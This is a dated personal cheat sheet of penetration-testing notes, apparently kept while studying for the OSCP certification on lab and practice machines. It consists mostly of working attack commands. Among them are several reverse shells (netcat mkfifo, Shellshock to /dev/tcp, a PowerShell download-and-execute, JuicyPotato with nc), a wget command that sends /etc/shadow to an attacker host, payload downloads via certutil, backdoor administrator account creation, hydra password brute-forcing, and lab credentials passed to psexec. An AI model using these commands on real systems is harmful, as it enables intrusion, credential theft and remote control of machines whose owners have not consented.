September OSCP Notes

September 7, 2020

1. https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/
2. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.162 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

September 8, 2020

1. windows/smb/psexec <- after you create a user/pass.
2. service_exec(conn, r'cmd /c net user amanda password /add')
   service_exec(conn, r'cmd /c net localgroup Administrators amanda /add')
   service_exec(conn, r'reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t reg_dword /d 0 /f')
3. https://pastebin.com/Qqq7zeJ6
4. locate smbexec.py
5. ./smbexec.py amanda:password@10.11.1.227
6. locate psexec.py
7. locate mssqlclient.py

September 9, 2020

1. Stuck? try nikto
2. sudo hydra -l dj -P /usr/share/wordlists/rockyou.txt 10.11.1.128 -s 4167 http-post-form "/loginform.asp:uname=^USER^&psw=^PASS^:Internal server error."

September 10, 2020

1. Read for later - http://futureoscp.blogspot.com/2017/10/usefull-oscp-material.html

September 12, 2020

1. sudo mount //10.11.1.31/wwwroot /media -o username=guest (Note username didn't matter in this case)
2. net user amanda password
3. net localgroup administrators amanda /add
4. sudo unmount //10.11.1.31/wwwroot /media
5. df - display mounts
6. sudo umount -l //10.11.1.31/wwwroot /media (If busy)
7. https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx (Great ASPX reverse shell)
8. https://www.fuzzysecurity.com/tutorials/16.html
9. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
10. https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

September 14, 2020

1. JuicyPotato.exe -l 5544 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\wwwroot\nc.exe -e c:\windows\system32\cmd.exe 192.168.119.184 443" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
2. https://joncraton.org/blog/46/netcat-for-windows/
3. https://book.hacktricks.xyz/

September 18, 2020

1. Foxit PDF Attack: https://prog.world/we-exploit-the-foxit-reader-vulnerability-and-bypass-the-digital-signature-on-the-example-of-the-neoquest-2020-task/
2. powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.119.184/final.pdf','C:\Users\Administrator\Desktop\final.pdf')

October 4, 2020

1. wfuzz -c -f sub-fighter -w top5000.txt -u 'http://cmess.thm' -H "Host: FUZZ.cmess.thm" --hw 290
2. top 5000 subdomain seclist
3. getcap -r / 2>/dev/null (look for capabilities)

October 10, 2020

1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f (netcat doesn't have -e option? use this)
2. Its called Netcat OpenBsd. Google payloadallthethings
3. Use ` backtick (next to ESC key) if you have command execution and the pipe isn't working.
4. Use ${IFS} in command execution if space doesn't work. Unicode %20 too.
5. https://github.com/SecWiki/windows-kernel-exploits
6. https://sohvaxus.github.io/content/winxp-sp1-privesc.html

October 15, 2020

1. plink.exe -l aszampias -pw password 10.10.14.3 -P 443 -R 139:127.0.0.1:139
2. psexec.py 'administrator:u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
3. smbexec.py 'administrator:u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

October 18, 2020

1. sudo psexec.py 'HOGWARTS.local/ssnape:Password123!'@192.168.200.169
2. ssh mindy@10.10.10.58 bash <- get rid of rbash

October 27, 2020

1. sudo iptables -t nat -I PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 4000
2. User-Agent: () { :;}; /bin/sh -i >& /dev/tcp/10.10.14.28/6666 0>&1 <- shellshock
3. https://github.com/dreadlocked/Drupalgeddon2
4. https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059:%20Chimichurri Best Chim MS10-059
5. certutil -urlcache -f http://192.168.119.184/nc.exe nc.exe
6. cmdkey /list
7. C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"
8. sudo python3 -m pyftpdlib -p 21 --write

November 13, 2020

1. powershell iex (New-Object Net.WebClient).DownloadString('http://10.2.43.23/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.2.43.23 -Port 4444 <- Powershell reverse shell
2. Start-Process "shell.exe"
3. xfreerdp /u:Wade /v:10.10.177.138:3389
4. mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

November 23, 2020

1. sudo /usr/bin/wget --post-file=/etc/shadow 10.10.14.26:8000
2. nc -lvnp 8000
3. sockstat -4 -l (OpenBSD, netstat -ln can work too)
4. ssh -L 5901:localhost:5901 -N -f -l charix 10.10.10.84
5. vncviewer localhost:5901 -passwd secret
6. gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 200 -q

November 30, 2020

1. nmap -sT -p- --min-rate 5000 --max-retries 1 10.10.10.74 -Pn (slow host? speed it up with this nmap)
2. hydra -l admin -P /usr/share/wordlists/rockyou.txt nineveh.htb -f https-post-form '/db/index.php:password=^PASS^&remember=yes&logn=Log+In&proc_login=true:Incorrect password'
3. 
4. strings /dev/sdb
5. xxd /dev/sdb | grep -v '0000 0000 000 0000'
6. https://www.ultratools.com/tools/decimalCalcResult?ipAddress=8.8.4.4

December 19, 2020

1. sudo ss -anltp. A = All. N = Numeric. L = Listening T = TCP P = Process
2. If you do CTRL+Z instead of CTRL+C, AND THEN type in bg, it will start a background process

December 20, 2020

1. sed -i -e 's/\r$//' scriptname.sh
2. nc -lvnp 5555 > here.txt
3. nc 10.10.14.9 5555 < here.txt

January 14, 2021

1. https://www.sevenlayers.com/index.php/142-exploiting-jquery-file-upload-9-22-0
2. LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE Meow FIELDS TERMINATED BY "\n"